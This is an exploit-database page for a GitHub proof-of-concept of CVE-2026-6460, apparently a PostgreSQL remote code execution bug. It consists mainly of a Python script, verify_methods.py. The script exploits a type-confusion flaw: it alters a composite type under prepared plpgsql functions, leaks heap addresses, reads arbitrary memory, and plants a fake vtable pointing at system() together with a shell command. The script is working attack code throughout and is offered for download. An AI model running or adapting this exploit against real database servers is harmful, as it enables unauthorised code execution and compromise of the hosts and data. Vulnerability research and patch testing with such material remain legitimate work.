Exploit database

GH-09cba6a5f8d912fd607bef11f52447fb

gabrielunknown/cve-2026-6460_postgresql_rce

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-6460

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files8

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

tools/verify_methods.py

Python · 4,481 bytes
#!/usr/bin/env python3
"""Verifica se methods/header contem o payload esperado.
/ Verifies that the methods and header heap objects contain the expected payload bytes."""
import struct, uuid, psycopg

SYSTEM_PLT = 0x5590f5489190
DSN = 'host=127.0.0.1 port=5432 dbname=postgres user=usuario_teste password=teste123'

def ci(target):
    t = struct.pack('<Q', target)
    a = bytes.fromhex('c0000000010000000000000019000000')
    b = bytes([0x01,0x00,0x00,0x00, 0x01,0x00,0x00,0x00, 0x01,0x01]) + t[0:6]
    c = t[6:8] + bytes(14)
    return '(' + ','.join(str(uuid.UUID(bytes=x)) for x in (a,b,c)) + ')'

def cl(p):
    a = bytes.fromhex('c0000000010000000000000019000000')
    b = bytes.fromhex('010000000100000050000000') + p[:4]
    c = p[4:] + bytes(4)
    return '(' + ','.join(str(uuid.UUID(bytes=x)) for x in (a,b,c)) + ')'

_bc = 0
def batch(conn, addrs):
    global _bc; _bc += 1; bc = _bc
    def q(s):
        with conn.cursor() as cur: cur.execute(s); return cur.fetchall() if cur.description else []
    typ = f'pg_temp.Z{bc}'; fn = f'pg_temp.W{bc}'
    try:
        q(f'CREATE TYPE {typ} AS (a uuid, b uuid, c uuid)')
        q(f"""CREATE FUNCTION {fn}(r {typ}) RETURNS bigint
              LANGUAGE plpgsql AS $$ DECLARE s bigint; BEGIN
              SELECT octet_length(item) INTO s FROM unnest(r.a) AS item LIMIT 1;
              RETURN s; END $$""")
        for i,t in enumerate(addrs):
            q(f"PREPARE p{bc}_{i} AS SELECT {fn}('{ci(t)}'::{typ})")
        q(f'ALTER TYPE {typ} ALTER ATTRIBUTE a TYPE text[] CASCADE')
        res = []
        for i,t in enumerate(addrs):
            rows = q(f'EXECUTE p{bc}_{i}')
            ol = rows[0][0] if rows and rows[0][0] is not None else None
            res.append(None if ol is None else ((ol+4)<<2)&0xFFFFFFFF)
        return res
    except Exception as e:
        print(f'[!] batch err: {e}')
        return [None]*len(addrs)

with psycopg.connect(DSN, autocommit=True, prepare_threshold=None) as conn:
    def q(s):
        with conn.cursor() as cur: cur.execute(s); return cur.fetchall() if cur.description else []

    # 1. leak("m", ...) → methods
    # / 1. leak the address of the methods vtable object
    cmd = 'id>&2'
    cmd_padded = (cmd.encode() + b'\x00').ljust(8, b'\x00')[:8]

    def leak(label, payload):
        typ = f'pg_temp.{label}_carrier'
        lit = cl(payload)
        q(f'CREATE TYPE {typ} AS (a uuid, b uuid, c uuid)')
        q(f"""CREATE FUNCTION pg_temp.leak_{label}(r {typ}) RETURNS bigint
              LANGUAGE plpgsql AS $$ DECLARE p bigint; BEGIN
              SELECT x INTO p FROM unnest(r.a) AS item(x) LIMIT 1; RETURN p+4; END $$""")
        q(f"PREPARE {label}_leak AS SELECT to_hex(pg_temp.leak_{label}('{lit}'::{typ}))")
        q(f'ALTER TYPE {typ} ALTER ATTRIBUTE a TYPE bigint[] CASCADE')
        _raw = q(f'EXECUTE {label}_leak')[0][0]
        if _raw is None:
            raise RuntimeError(f"leak({label!r}) returned NULL — trigger did not fire")
        addr = int(_raw, 16)
        print(f'[+] leak({label!r}) → 0x{addr:x}')
        return addr

    methods = leak('m', struct.pack('<QQ', SYSTEM_PLT, SYSTEM_PLT))
    header  = leak('h', cmd_padded + struct.pack('<Q', methods))

    print(f'\n[*] Verifying memory:')
    print(f'    methods = 0x{methods:x}  (expected: contains system_plt=0x{SYSTEM_PLT:x})')
    print(f'    header  = 0x{header:x}   (expected: contains cmd+methods_ptr)')
    print(f'    system_plt lo32 = 0x{SYSTEM_PLT & 0xFFFFFFFF:08x}')

    # Lê lo32 em methods, methods+8, methods+16
    # / Read lo32 at methods, methods+8, methods+16
    vals_m = batch(conn, [methods, methods+8, methods+16])
    for i, v in enumerate(vals_m):
        rel = i * 8
        print(f'    methods+{rel}: lo32=0x{v or 0:08x}  full=0x{(v|(0x5591<<32)) if v else 0:x}')

    # Lê lo32 em header, header+8, header+16
    # / Read lo32 at header, header+8, header+16
    vals_h = batch(conn, [header, header+8, header+16])
    for i, v in enumerate(vals_h):
        rel = i * 8
        print(f'    header+{rel}: lo32=0x{v or 0:08x}  full=0x{(v|(0x5591<<32)) if v else 0:x}')

    # Verifica se methods+0 contém system_plt
    # / Check if methods[0] contains system_plt
    methods_lo32_expected = SYSTEM_PLT & 0xFFFFFFFF
    methods_lo32_actual   = vals_m[0]
    print(f'\n[*] methods[0] expected lo32=0x{methods_lo32_expected:08x}, actual=0x{methods_lo32_actual or 0:08x}')
    print(f'    MATCH: {methods_lo32_actual == methods_lo32_expected}')